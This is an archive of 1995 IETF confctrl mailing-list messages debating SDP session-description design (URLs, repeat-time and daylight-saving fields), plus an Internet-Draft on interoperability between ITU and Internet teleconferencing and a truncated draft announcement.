> >description with each one, i.e.
> >
> >u=http://sc94.ameslab.gov General information
> >u=http://sc94.ameslab.gov/AP/glance.html Schedule
.....
> The reason why I suggested a single URL is simply that we should
> attempt to move away from full descriptions of sessions in the "i"
> field.  The Web is now sufficiently prolific that the norm should be
> for most of a session description to be on the WWW server.  If only a
> single URL is allowed, this tends to encourage this.  If we allow
> multiple URLs then people will probably continue the current method of
> having long descriptions.

In general I tend to have a strong negative reaction to attempts at
social engineering - even otherwise well-intentioned ones like this.
Let's stick to network engineering.

If people want to include more than one URL in their session announcements,
then they're going to do so, whether we want them to or not.  The only
issue, then, is whether we want to make available a mechanism that will let
them do so in a way that SPD clients can easily handle.  Given the enormous
popularity of the WWW, this seems like a good thing to do.  Bill Fenner's
suggestion sounds reasonable; another approach would be to endorse a
specific (and unambiguous) way of representing URLs in the i= field.
(This is apparently what the newest sd.tcl script - which I guess I haven't
seen - is trying to do.)

> As the number of announced sessions increases, the proportion of
> sessions people want to see much information about decreases, and the
> more you want SDP sessions to convey only essential information.  If
> you're going to the effort to put a multicast together, then surely
> you should be prepared to put together a few lines of description on
> the Web which can easily then link to other relevant information?

Again, this sounds like an attempt at social engineering.  Limiting the size
of announcements may be good network engineering (e.g., to control
bandwidth), but if we do this, we shouldn't then worry too much about how
the announcements are being used.  (Suggested usage policies, style guides,
etc. might come later, especially once we get more experience.)

	Ross.

From owner-confctrl@ISI.EDU  Wed May 10 03:33:05 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA19737>; Wed, 10 May 1995 10:33:31 -0700
Received: from alpha.Xerox.COM by venera.isi.edu (5.65c/5.61+local-22)
	id <AA19732>; Wed, 10 May 1995 10:33:29 -0700
Received: from crevenia.parc.xerox.com ([13.2.116.11]) by alpha.xerox.com with SMTP id <14677(5)>; Wed, 10 May 1995 10:33:13 PDT
Received: from localhost by crevenia.parc.xerox.com with SMTP id <49859>; Wed, 10 May 1995 10:33:07 -0700
X-Mailer: exmh version 1.6 4/21/95
To: Mark Handley <M.Handley@cs.ucl.ac.uk>
Cc: Bill Fenner <fenner@parc.xerox.com>, confctrl
Subject: Re: SDPv2 and URL's 
In-Reply-To: Your message of "Tue, 09 May 95 11:46:41 BST."
             <5777.800016401@cs.ucl.ac.uk> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 10 May 1995 10:33:05 PDT
Sender: Bill Fenner <fenner@parc.xerox.com>
From: Bill Fenner <fenner@parc.xerox.com>
Message-Id: <95May10.103307pdt.49859@crevenia.parc.xerox.com>

In message <5777.800016401@cs.ucl.ac.uk> you write:
>If only a
>single URL is allowed, this tends to encourage this.  If we allow
>multiple URLs then people will probably continue the current method of
>having long descriptions.

I'm not so sure that I believe in social engineering by protocol design.  I 
think that if the protocol doesn't let the user do what they want (i.e. put in 
multiple URL's), then they will *make* it do what they want, (i.e. by putting 
them in the description field).

Them darned users, they's slippery folks...

  Bill


From owner-confctrl@ISI.EDU  Wed Jun 14 18:49:06 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA13304>; Wed, 14 Jun 1995 10:09:53 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA13299>; Wed, 14 Jun 1995 10:09:53 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA25162>; Wed, 14 Jun 1995 10:08:02 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.19948-0@bells.cs.ucl.ac.uk>; Wed, 14 Jun 1995 17:49:09 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666 or +44 71 387 7050 ext 3666
To: confctrl
Subject: SDP repeat time fields
Date: Wed, 14 Jun 95 17:49:06 +0100
Message-Id: <15561.803148546@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


Having tried to implement code to use the SDP repeat time fields, I've
come to the conclusion that the current format specified in the 00
draft (or even in the revised working draft) is not what's required.

Feel free to say "I told you so" :-)

There are a number of problems including:

- you can't specify some required repeat times that I think we need.
- you can specify too much to describe to the user in any interface I can 
  think of.
- dealing with timezones is unnecessarily complicated,
- dealing with switching from standard to daylight time is really horrible.


Thus I'd like to suggest an alternative much simpler format:

t=<starttime> <stoptime>
r=<repeat interval> <duration> <list of offsets from starttime>

If no "r" field is specified, the session is active between the start
and stop times.  If one or more "r" fields are specified then the
session is only active between the start and stop times specified by
the "t" field at the times specified by the "r" fields.

Each "r" field specifies a repeat relative to the previous "t" field.
<repeat interval> is the time between repeats.  <duration> is how long
it's active for.  The <list of offsets from starttime> is zero if the
session repeats once per interval starting at <starttime>.  Otherwise
it's a list of offsets from starttime - for example if you wanted to
have a session active monday, wednesday and friday each week for one
hour, you might have (all times in seconds):

r=604800 3600 0 172800 345600

(the time of day should be specified by <starttime> which in this case
would be on th Monday. 172800 is the number of seconds in 2 days, etc)

You can have multiple "r" fields per "t" field if required.


Now, there's some things you can't represent with this format.
Specifying repeating each month by date (eg, 12th of each month), and
specifying each month by weekday (third thursday of the month) aren't
possible.

Now we could add extra syntax to deal with these (and how many other
odd cases?).  However, I'm starting to think that this may not be
necessary, and that maybe these sort of events should simply be
specified by an explicit list of "t" fields.

Both the above "difficult" examples are timezone dependant (which day
you're on depends on which timezone you're in!).  I'd like to avoid
format that are timezone dependant if possible (NTP times and offsets
from them are timezone independant).

Let me know what you think.


Of yes, that brings me to daylight savings time!

We probably need an additional field specifying daylight savings time
switches if you want your repeated session to be at the same time each
day, winter and summer.  As this changes at different times and dates
depending on where you are in the world, you have to specify which
timezone is relevant for the session, and what time the change occurs
at.  In it's simplest form this is a list of NTP timestamps (ie when
the change happens) and offsets (how big the change is).  Thus the
current suggestion is:

z=<change time> <offset> <change time> <offset> .....


Anyone have any problems with either of these, or alternatively any
better ideas?

Mark




From owner-confctrl@ISI.EDU  Wed Jun 14 23:21:11 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA00954>; Wed, 14 Jun 1995 12:25:08 -0700
Received: from ceres.fokus.gmd.de by venera.isi.edu (5.65c/5.61+local-22)
	id <AA00946>; Wed, 14 Jun 1995 12:25:07 -0700
Message-Id: <199506141925.AA00946@venera.isi.edu>
Received: from lupus (actually lupus.fokus.gmd.de) by ceres.fokus.gmd.de 
          with SMTP (PP-ICR1v5); Wed, 14 Jun 1995 21:21:56 +0200
X-Mailer: exmh version 1.6.1 5/23/95
To: confctrl
Cc: M.Handley@cs.ucl.ac.uk
From: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
X-Url: http://www.fokus.gmd.de/step/hgs/
Subject: repeat times
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Wed, 14 Jun 1995 21:21:11 +0200
Sender: schulzrinne@fokus.gmd.de

It would probably help if we could list some typical applications for 
our discussion. The ones that I see:
a) radio programs (every 15 min, every hour, every day at the same time)
b) lectures (either once a week or at mostly regular times, with a few
  odd ones thrown in due to holidays, and such)
c) the rest

Most of the events that I can think of that have odd repeat times occur 
infrequently enough that explicit enumeration is sufficient (like the 
Hamming lectures or your typical college course.

As I had mentioned to Mark earlier, the Sun calendar manager offers a 
user interface and specification format which seems reasonable.

If at all possible, I'd like to avoid the DST issue, particularly since 
the beginning of DST is not uniform around the world. You slowly get 
yourself to the timezone file...

How about specifiying offsets in seconds, but also allowing 7d (that 
is, seven days, for the weekly stuff) and such, to avoid the DST issue. 
I somehow don't foresee the urgent need to specify a session that 
begins at 9:15 one day, 10:30 the next, 11:45 the day after, etc. For 
the byte counters, the notation is even a bit shorter...

Thus, two formats: second offset for the (a) case, days for the longer 
term things where seconds would break down due to DST.

r=<repeat count> <repeat interval> [...]

<repeat interval> := integer | integer d

The whole sequence repeats until repeat count is reached; that makes it 
easy to specify Monday and Tuesday of each week for a thirteen-lecture 
class as:
r=13 1d 6d

[A user interface for generating times may just allow some reasonable 
subset; for display, a calendar is probably best anyway.]

The duration is already specified by the difference between <starttime> 
and <stoptime> (Or did I misunderstand <stoptime>?). Or do we need to 
cater to programs of varying lengths at each time? 

Henning

 

From owner-confctrl@ISI.EDU  Wed Jun 14 22:02:36 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA04778>; Wed, 14 Jun 1995 13:03:56 -0700
Received: from quark.isi.edu by venera.isi.edu (5.65c/5.61+local-22)
	id <AA04774>; Wed, 14 Jun 1995 13:03:54 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-20)
	id <AA03075>; Wed, 14 Jun 1995 13:03:40 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.23305-0@bells.cs.ucl.ac.uk>; Wed, 14 Jun 1995 21:02:38 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
Organisation: University College London, CS Dept.
Phone: +44 71 380 7777 ext 3666
To: Henning Schulzrinne <schulzrinne@fokus.gmd.de>
Cc: confctrl
Subject: Re: repeat times
In-Reply-To: Your message of "Wed, 14 Jun 95 21:21:11 +0100."
Date: Wed, 14 Jun 95 21:02:36 +0100
Message-Id: <16358.803160156@cs.ucl.ac.uk>
Sender: M.Handley@cs.ucl.ac.uk


>It would probably help if we could list some typical applications for 
>our discussion. The ones that I see:
>a) radio programs (every 15 min, every hour, every day at the same time)
>b) lectures (either once a week or at mostly regular times, with a few
>  odd ones thrown in due to holidays, and such)
>c) the rest
>
>Most of the events that I can think of that have odd repeat times occur 
>infrequently enough that explicit enumeration is sufficient (like the 
>Hamming lectures or your typical college course.
>
>As I had mentioned to Mark earlier, the Sun calendar manager offers a 
>user interface and specification format which seems reasonable.

Yes, it's a good example, though it's trying to solve a slightly
different problem - it's much more important in SDP that this is a TZ
independant format.  

>If at all possible, I'd like to avoid the DST issue, particularly since 
>the beginning of DST is not uniform around the world. You slowly get 
>yourself to the timezone file...

I would too, but I doubt we can.  The format for the "z=" field I
specified makes it very easy for receivers to add the relevant offset
or not - they don't need to be smart.  It's much more difficult for
senders though.  As it's easy for receivers, I'm not concerned much
with adding it - it's clearly optional for senders.  

I should add that the "z=" field is not strictly necessary if we use
the "t=" and "r=" fields as I described them, as you could repeat your
"r" fields with a different "t" field for summer time.  This is pretty
foul though.

>How about specifiying offsets in seconds, but also allowing 7d (that 
>is, seven days, for the weekly stuff) and such, to avoid the DST issue. 
>I somehow don't foresee the urgent need to specify a session that 
>begins at 9:15 one day, 10:30 the next, 11:45 the day after, etc. For 
>the byte counters, the notation is even a bit shorter...

I quite like the 7d format for compactness

However, it doesn't solve the DST issue.  People change to/from DST at
different times and *dates* depending on where in the world you live
(plus not everyone changes at all). Thus for the 7d notation to solve
the problem you need to know the TZ of the person making the
announcement, your TZ, and whether both of them are on DST, or are
different, and then add an offset to the starttime if necesary.
Although the local data may be available, the remote data may not
always be, so I wanted to avoid this and make it easy on the receiver.

>Thus, two formats: second offset for the (a) case, days for the longer 
>term things where seconds would break down due to DST.
>
>r=<repeat count> <repeat interval> [...]
>
><repeat interval> := integer | integer d
>
>The whole sequence repeats until repeat count is reached; that makes it 
>easy to specify Monday and Tuesday of each week for a thirteen-lecture 
>class as:
>r=13 1d 6d

If you want to do two lectures a week at 9am Monday and 11 am tuesday
(like most of the courses at UCL!), your scheme above becomes:
r=13 93600 511200
this is probably at least as likely as them being at the same time, so
you may not gain as much from the "d" notation as maybe you think.

>[A user interface for generating times may just allow some reasonable 
>subset; for display, a calendar is probably best anyway.]
>
>The duration is already specified by the difference between <starttime> 
>and <stoptime> (Or did I misunderstand <stoptime>?). Or do we need to 
>cater to programs of varying lengths at each time? 

You misunderstood <stoptime>.

If you have a repeat sequence, then you either need to specify the
number of repeats or the absolute endtime.  I took the view that
absolute endtime was (marginally) easier, as it allowed you to put
several different duration events under the same "t=" field.  For
example, your session might be active for 1 hour on mondays and 2
hours on tuesdays repeating every week until <stoptime>.

It also (marginally) simplifies the code for timing out sessions.

Both your scheme and mine are funtionally equivalent though.  I don't
have a strong opinion either way, except I have code for mine, which
isn't really a good reason :-)

Mark (wishing he never got involved with repeat times :-)


From owner-confctrl@ISI.EDU  Thu Jun 15 10:53:10 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA25160>; Thu, 15 Jun 1995 13:53:21 -0700
Received: from antares.mcs.anl.gov (mcs.anl.gov) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA25154>; Thu, 15 Jun 1995 13:53:19 -0700
Received: from mcs.anl.gov (donner.mcs.anl.gov [140.221.5.134]) by antares.mcs.anl.gov (8.6.10/8.6.10)  with ESMTP
	id PAA22611 for <confctrl@ISI.EDU>; Thu, 15 Jun 1995 15:53:13 -0500
Message-Id: <199506152053.PAA22611@antares.mcs.anl.gov>
To: confctrl
Subject: SDP v2.0 client
Date: Thu, 15 Jun 1995 15:53:10 -0500
From: "Ivan R. Judson" <judson@mcs.anl.gov>


I've been working on a SDP v2.0 client for a while, but have been
stalling because I was under the impression there would be a release
of a new version of the protocol (or revisions or something) sometime
soon.  Has this gone by me, or hasn't it happened yet?

--Ivan

From owner-confctrl@ISI.EDU  Fri Jun 23 09:58:06 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA28367>; Fri, 23 Jun 1995 16:58:12 -0700
Received: from std.sri.com by venera.isi.edu (5.65c/5.61+local-22)
	id <AA28363>; Fri, 23 Jun 1995 16:58:12 -0700
Received: from churchy.std.sri.com by std.sri.com (4.1/SMI-4.1)
	id AA11632; Fri, 23 Jun 95 16:58:08 PDT
Message-Id: <9506232358.AA11632@std.sri.com>
To: confctrl
Cc: m.handley@cs.ucl.ac.uk, schooler@cs.caltech.edu, rlang@std.sri.com
Subject: potential agenda items
Date: Fri, 23 Jun 1995 16:58:06 -0700
From: Ruth Lang <rlang@std.sri.com>


Folks,

Two sessions for MMUSIC have been scheduled for the upcoming IETF:
	MONDAY,  17 July 1995	1300-1500
	TUESDAY, 18 July 1995	0900-1130

The following topics will be discussed at the upcoming meeting:

Session Description Protocol
Status of Agreement Protocol documents and implementation
ITU interoperability scenarios
MBONE URLs

These topics are considered tentative and will be added to the agenda
if sufficient support for or work on the area warrants its addition:

Framework document
Session Coordination Protocol
RTCP extensions
Expressing session capabilities
Session rendezvous mechanisms

Please send email to the list with suggestions for additions.  If
you're interested in making a presentation on any of the above areas,
please contact the working group chairs.

Thanks,

Ruth Lang


From owner-confctrl@ISI.EDU  Sat Jul  8 01:05:07 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA21362>; Fri, 7 Jul 1995 14:05:28 -0700
Received: from mail.cs.tu-berlin.de by venera.isi.edu (5.65c/5.61+local-22)
	id <AA21358>; Fri, 7 Jul 1995 14:05:22 -0700
Received: from kolbmais.cs.tu-berlin.de (jo@kolbmais.cs.tu-berlin.de [130.149.25.97]) by mail.cs.tu-berlin.de (8.6.12/8.6.12) with ESMTP id XAA09189; Fri, 7 Jul 1995 23:05:11 +0200
From: Joerg Ott <jo@cs.tu-berlin.de>
Received: (jo@localhost) by kolbmais.cs.tu-berlin.de (8.6.12/8.6.6) id XAA25960; Fri, 7 Jul 1995 23:05:07 +0200
Message-Id: <199507072105.XAA25960@kolbmais.cs.tu-berlin.de>
Subject: New I-D for MMUSIC/ITU Interoperability Scenarios
To: t120-interest@world.std.com, confctrl
Date: Fri, 7 Jul 1995 23:05:07 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL24]
Mime-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Type: text/plain; charset=US-ASCII

INTERNET-DRAFT                                           Carsten Bormann
Expires: January 1996                                Universitaet Bremen
                                                               Joerg Ott
                                                               TU Berlin
                                                               July 1995


                 MMUSIC/ITU Interoperability Scenarios
                draft-bormann-mmusic-itu-interop-00.txt


Status of this memo

   This document is an Internet-Draft.  Internet-Drafts are working
   documents of the Internet Engineering Task Force (IETF), its areas,
   and its working groups.  Note that other groups may also distribute
   working documents as Internet-Drafts.

   Internet-Drafts are draft documents valid for a maximum of six months
   and may be updated, replaced, or obsoleted by other documents at any
   time.  It is inappropriate to use Internet- Drafts as reference
   material or to cite them other than as ``work in progress.''

   To learn the current status of any Internet-Draft, please check the
   ``1id-abstracts.txt'' listing contained in the Internet-Drafts Shadow
   Directories on ftp.is.co.za (Africa), nic.nordu.net (Europe),
   munnari.oz.au (Pacific Rim), ds.internic.net (US East Coast), or
   ftp.isi.edu (US West Coast).

Abstract

   This memo is a (very rough) summary of potential scenarios where
   teleconferencing systems based on ITU standards (H.320, T.120)
   interoperate with teleconferencing systems based on RTP and MMUSIC
   style (``Internet'') standards.

   This memo is a submission to the IETF MMUSIC working group.
   Comments should be addressed to the confctrl@isi.edu mailing list.

1.  Introduction

   Within the ITU (formerly known as CCITT), a number of
   ``recommendations'' (ITU name for standards) have recently been
   generated that cover audiographic and video teleconferencing over
   telephone (ISDN) lines.  These recommendations are commonly subsumed
   by the names of the two overview recommendations, H.320 (narrow-band
   visual telephone systems and terminal equipment, 1993) and T.120
   (data protocols for multimedia conferencing).  Products conforming to
   these recommendations are appearing on the marketplace rapidly.

   With the increasing interest in multicast based teleconferencing
   based on standards being developed by the AVT and MMUSIC working
   groups of the IETF, it seems prudent to examine the potential of

Bormann, Ott                                                    [Page 1]

INTERNET-DRAFT    MMUSIC/ITU Interoperability Scenarios        July 1995

   interoperability between systems conforming to each of the two
   protocol suites.  Since the two suites are significantly different
   not only in protocol details but also in fundamental approach and
   assumptions, we propose to first examine the possible scenarios under
   which such interoperation would occur.

   In this memo, we will assume basic knowledge of the work of the IETF
   working groups, and only provide some text to explain a few basics of
   the ITU teleconferencing work.

2.  Terminology

   This memo will use a mixed terminology, with some ITU terms and some
   terms as they are used in the Internet world.  As some readers will
   not be familiar with ITU terms, this table provides a reference.

          ITU Term                         Equivalent term(s)
   ----------------------------------------------------------------------
   recommendation               standard
   terminal                     host, end system
                                     (including video telephones)
   MCU (multipoint              (application) gateway,
        control unit)                intermediate system
   PSTN (public switched        POTS (plain old telephone service)
        telephone network)
   LAN                          LAN (possibly with bridges and routers),
                                     (small i) internet
   application                  media agent
   conference profile           session description


3.  State of standardization

   As of now, ITU has standards for ISDN interconnection of pairs of
   H.320 systems, as well as for ISDN interconnections of multiple H.320
   systems (terminals) via intermediate systems called MCU (multipoint
   control units).  Extensions of these standards for PSTN (POTS)
   interconnection, for operation over LAN protocols as well as over ATM
   are in preparation (according to the current state of discussion,
   even in LANs, MCUs are likely to be used when more than two
   participants are involved).  The T.120 family of standards defines
   conference control and ``data'' applications for these environments,
   based on point-to-point multicasting trees defined by MCS
   (T.122/T.125).

   In the ITU context, using IP implies a (possibly bridged or routed)
   LAN (so far); the assumption is that wide area traffic will be
   circuit-switched via ISDN with H.221 (a frame based bit allocation
   protocol) being used for multiplexing.  Note that it is not decided
   yet whether ITU will use RTP over LANs (even if the new protocols are
   based on IP or possibly IP multicast -- see below).  The use of
   reservation protocols within a LAN currently is considered a local
   matter -- only a mechanism to request bandwidth from some (MCU-style)

Bormann, Ott                                                    [Page 2]

INTERNET-DRAFT    MMUSIC/ITU Interoperability Scenarios        July 1995

   well-defined entity is being defined.

   The IETF has standards for AV multicast (RTP and RTP payload data
   formats) and is working on control (MMUSIC).  These standards do not
   explicitly differentiate between LAN and WAN applications; they were
   designed with WAN considerations in mind.

4.  ITU Basic Assumptions

   T.120 conferences are tightly coupled.  The general assumption is
   that all participants know about all other participants, as well as
   their characteristics such as the set of applications available to
   them and the applications' capabilities.  This knowledge is kept
   consistent throughout the course of the conference by a conference
   management system (GCC, T.124) using a reliable multicast transport
   (MCS, T.122/T.125).

5.  ITU Interconnection Models

   [The following text is a slightly edited quote from one of the
   authors' previous contributions to SG15, AVC-797.]

     Figure 1 shows a complex scenario how terminals may be
     interconnected through WANs and LANs, either in a point-to-point
     call or in a multipoint conference.

                         _______                      ________
      +-+      +-+      /       |   +-+      +-+     /        |   +-+
      | |      | |------  WAN #1 ---| |      | |-----  WAN #2  ---| |
      +-+      +-+      |_______/   +-+      +-+     |________/   +-+
       |        |         /          |        |          |   |
     --+---+----+---   +-+        ---+----+---+---      +-+   +-+
           |           | |                |             | |   | |
          +-+  LAN #1  +-+        LAN #2 +-+            +-+   +-+
          | |                            | |
          +-+                            +-+

             Figure 1: Interconnection Models for LANs and WANs

     This figure is a generalization of the following possible
     scenarios:

     a)   WAN only terminals (listed here for completeness)

     b)   LAN terminal(s) connected to WAN terminal(s) through a gateway

     c)   LAN terminals within a single LAN only

     d)   LAN terminal(s) connected to other LAN terminal(s); the LANs
          are interconnected by a WAN

     e)   WAN terminal(s) connected to WAN terminal(s); different WANs
          are used; the different WANs are interconnected through a LAN

Bormann, Ott                                                    [Page 3]

INTERNET-DRAFT    MMUSIC/ITU Interoperability Scenarios        July 1995

     The design of any transport for T.120 data information should
     consider the existence of all the above scenarios.  This means that
     any extension of the T.123 protocol stacks has to be able to
     interwork with all other T.120 terminals that do not implement this
     extension.  As a corollary, the service offered by the T.122/T.125
     Multipoint Communication Service must not be affected.

   [End of quote].  The latter comment obviously also applies to audio
   and video streams.

   Note that each of the "LANs" in the ITU scenarios could be an
   internet in the interoperability case; appropriate gateways would be
   used for bridging.  A LAN-to-WAN gateway would need to perform at
   least the following functions:

   -    conversion from ISDN multiplexing (H.221) to a format more
        suitable for LANs (H.223 =?= RTP)

   -    conversion of audio/video encoding formats (e.g., deletion of
        BCH envelopes for H.261 to obtain RTP payload data formatting),
        as required

   -    filtering of data streams to keep only those absolutely
        necessary (e.g., the LAN could use ``continuous presence'' of
        all participants by their video streams, while on the WAN only
        the streams of the speaker and the previous speaker are
        retained).

   -    transport layer gatewaying (e.g., X.224/RFC1006/TCP/IP to
        X.224/Q.933/Q.922)

6.  Types of interoperation

   Based on these interconnection scenarios, the following scenarios for
   interoperation between ITU and IETF conferencing systems could be
   addressed:

   1)   T.120 ISDN terminal users "phone in" to a classical IETF-style
        WAN internet multicast session (e.g. an IETF broadcast).

        1a)  Actually, not just one terminal but a whole T.120
             conference network is built on the T.120 side.

        1b)  The internet WAN session becomes more controlled than a
             ``classical'' session -- more information needs to be
             relayed to the T.120 session control.  (This, obviously,
             depends on what kind of session control is used on the
             Internet side.)

        The assumption here is that the IETF style conference is the one
        "in control" and "phoners-in" are accepting some semantic
        lossage.  E.g., the T.124 (GCC) conference roster (attendance
        list) could be incomplete, it might not be possible to perform

Bormann, Ott                                                    [Page 4]

INTERNET-DRAFT    MMUSIC/ITU Interoperability Scenarios        July 1995

        certain actions (such as addressing single participants), etc.

        Note that for a conference in which #apps applications (such as
        whiteboard etc.) are used, MCS/GCC runs into a hard limit of
        64535/(#apps+1) participants.

   2)   LAN-wide internet multicast sessions are used behind a local
        T.120 MCU (i.e., LAN systems don't speak T.120 but support
        classical IETF sessions only)

        2a)  Internet multicast sessions with additional T.120
             consciousness are used behind a local T.120 MCU (different
             from 2?).  In the simplest case, they would have to be able
             to take part in and make use of the T.124 conference roster
             generation process; applications could announce their
             capabilities in the application roster, etc.

        The assumption here is that T.120 is "in control" and the LAN
        group has to cope.

   3)   A group of internet WAN participants and a group T.120 WAN
        participants are joined by a gateway/MCU.  Both parts get the
        illusion of a homogeneous conferencing environment.

        The "gateway/MCU" would be a much more sophisticated form of the
        same gateway referred to above.  Achieving a homogeneous
        conferencing environment certainly would require a high degree
        of semantic compatibility of the IETF conference control
        protocol with those of the ITU.

7.  Technical implications

   For all these scenarios, special consideration must be given to the
   following aspects.

   [Note: These items must be sorted into those relevant specifically to
   MMUSIC and those relevant only for a broader discussion.]

7.1.  Type of mapping within a gateway

   A gateway may attempt to map a semantic feature of one domain into an
   equivalent feature of the other domain and vice-versa (bidirectional
   mapping).  Alternatively/additionally, it may attempt to tunnel
   information only supported by one domain through the other domain in
   A-B-A configurations (e.g., it could attempt encoding the T.120
   application capabilities in an RTCP text attribute).

7.2.  Agreement protocol vs. conducted mode behavior

   The ITU-T conference control distinguishes two different modes of
   operation: a conducted and a non-conducted mode.  In conducted mode,
   a single participant largely controls the conference requiring the
   others to query for permission to perform certain actions (which

Bormann, Ott                                                    [Page 5]

INTERNET-DRAFT    MMUSIC/ITU Interoperability Scenarios        July 1995

   actions are affected is defined in the session description as well as
   the respective recommendations for conferencing applications).  In
   non-conducted mode no such restrictions are imposed.

   These two modes represent the two extremes that can be thought of
   when using the MMUSIC agreement protocol.  However, within the ITU-T
   conference control no intermediate modes are defined.

7.3.  Resource control (bandwidth management)

   The current approach pursued by SG 15 is to limit the number of AV
   connections gatewayed into a LAN.

   In addition, possibly, recoding will be required between high and low
   bandwidth environments.

7.4.  Addressing

   Participants will have to be addressed by POTS/ISDN numbers
   (generally E.164) as well as by addresses from internets and the
   Internet.  This is confounded further by ITU embracing IPX as well as
   IP.

7.5.  Session description

   In the ITU model, a session is ``described'' by participants that
   update roster information and that actually start applications based
   on the capabilities in that roster information.  Currently, only a
   small static information base may be configured at conference startup
   time (part of which remains unchanged throughout the course of the
   conference).  This information base describes the conference (e.g.
   the conference name) and defines some attributes of the conference
   (conducted or not, some authentication mechanism, e.g. a password in
   the simplest case, etc.).

   In the classical IETF model, the session description is broadcast
   beforehand; it cannot be changed during the session or adapted to the
   capabilities of the participants.  Other uses of the IETF session
   description language SDP are being considered; note that currently
   multicast address allocation (see also below) is intertwined with
   session description broadcasting.

7.6.  Authentication

   Internet applications generally will use cryptography based end-to-
   end authentication and confidentiality.

   MCS does not use authentication within the conference; instead,
   unwanted participants cannot obtain transport connections to the MCS
   domain (data part of the conference) at all.  The T.120 conference
   control protocol GCC currently allows for a challenge-response
   mechanism for authentication to the MCS domain.  Confidentiality can
   be achieved using H.233/H.234 by enciphering the entire transport

Bormann, Ott                                                    [Page 6]

INTERNET-DRAFT    MMUSIC/ITU Interoperability Scenarios        July 1995

   stream, i.e., hop-by-hop based enciphering.  This requires trusted
   MCUs (proposals for operations with non-trusted MCUs are being made).

7.7.  Use of Multicasting

   Given the intent of ITU SG15 to generate a draft standard by
   November, (to be voted on in 1996) complications such as multicasting
   have a relatively low priority.  It seems unlikely that SG8 will come
   around to extending MCS to incorporate multicast subtrees (based on
   multicast transports such as MTP-2 or RMP).  Multicast *might* be an
   option for ITU's RTP replacement, but note that ITU needs a handle on
   IP multicast address allocation for this to become real (see next
   item).

   In any case, for operational use of multicasting in environments that
   may or may not have multicast capable routers (or operating systems,
   or protocol stacks) it must be possible to use point-to-point meshes
   as a fallback.  This fallback should be automatic; manual
   configuration is unlikely to be workable.  One solution currently
   being offered within the ITU environment is to start a conference as
   a point-to-point mesh and to allocate a multicast address and to
   start testing multicast connectivity simultaneously.  Terminals that
   do have multicast connectivity withdraw from the point-to-point mesh.

7.8.  Multicast address allocation

   In IETF conferences, the allocation of multicast address is done
   administratively (by applying for an address at IANA) or by global
   broadcasting of address claims.  Administratively scoped multicast
   may alleviate the problem for conferences confined to a site only.
   For operational use, an address allocation mechanism must be found
   that scales to large numbers of conferences and avoids conflicts
   quite reliably.  Note that conferences that must be protected from
   denial-of-service attacks will need a form of authentification that
   might make conflicts less of a problem.

8.  Security Considerations

   Any interoperation between ITU-based systems and Internet-based
   systems must take care to preserve the point-to-point link based
   security model underlying the ITU standards.  In T.120, much of the
   access control relies on being able to reject the attempt to join a
   conference via an ISDN connection to an MCU.  See also
   ``Authentication'' above.

9.  Authors' Addresses

   Carsten Bormann
   Universitaet Bremen FB3 MZH 5180
   Postfach 330440
   D-28334 Bremen
   GERMANY
   cabo@informatik.uni-bremen.de

Bormann, Ott                                                    [Page 7]

INTERNET-DRAFT    MMUSIC/ITU Interoperability Scenarios        July 1995

   Joerg Ott
   Technische Universitaet Berlin FR 6-3
   Franklinstr. 28/29
   D-10587 Berlin
   GERMANY
   jo@cs.tu-berlin.de


Appendix: Pertinent standards bodies

   ITU-T SG8: T.120 standardization (MCS, application protocols,
   conference control)

   ITU-T SG15: defines LAN-WAN gateway

   IMTC LAN-WG: defines LAN-WAN interworking

   IETF AVT WG: defines real-time transport and payload data formats

   IETF MMUSIC WG: defines conference control


































Bormann, Ott                                                    [Page 8]



From owner-confctrl@ISI.EDU  Mon Jul 10 06:41:47 1995
Received: by venera.isi.edu (5.65c/5.61+local-22)
	id <AA15353>; Tue, 11 Jul 1995 03:42:10 -0700
Received: from IETF.nri.reston.VA.US (ietf.cnri.reston.va.us) by venera.isi.edu (5.65c/5.61+local-22)
	id <AA15349>; Tue, 11 Jul 1995 03:42:09 -0700
Received: from [127.0.0.1] by IETF.CNRI.Reston.VA.US id aa06164;
          10 Jul 95 10:41 EDT
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl
From: Internet-Drafts@CNRI.Reston.VA.US
Reply-To: Internet-Drafts@CNRI.Reston.VA.US
Subject: I-D ACTION:draft-ietf-mmusic-agree-00.txt, .ps
Date: Mon, 10 Jul 95 10:41:47 -0400
Sender: cclark@CNRI.Reston.VA.US
Message-Id:  <9507101041.aa06164@IETF.CNRI.Reston.VA.US>

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts 
directories. This draft is a work item of the Multiparty Multimedia Session
Control Working Group of the IETF.                                         

       Title     : Managing Shared Ephemeral Teleconferencing State:  
                   Policy and Mechanism                                    
       Author(s) : S. Shenker, A. Weinrib, E. Schooler
       Filename  : draft-ietf-mmusic-agree-00.txt, .ps
       Pages     : 29
       Date      : 07/07/1995

In recent years there has been dramatic progress on the enabling 
technologies for workstation-based multimedia teleconferencing 
applications.  We expect that such applications will soon become an 
important component of many future social and business interactions.  
Teleconferencing applications have aspects of their state, such as 
membership, types of media beings used, and encryption, that are under 
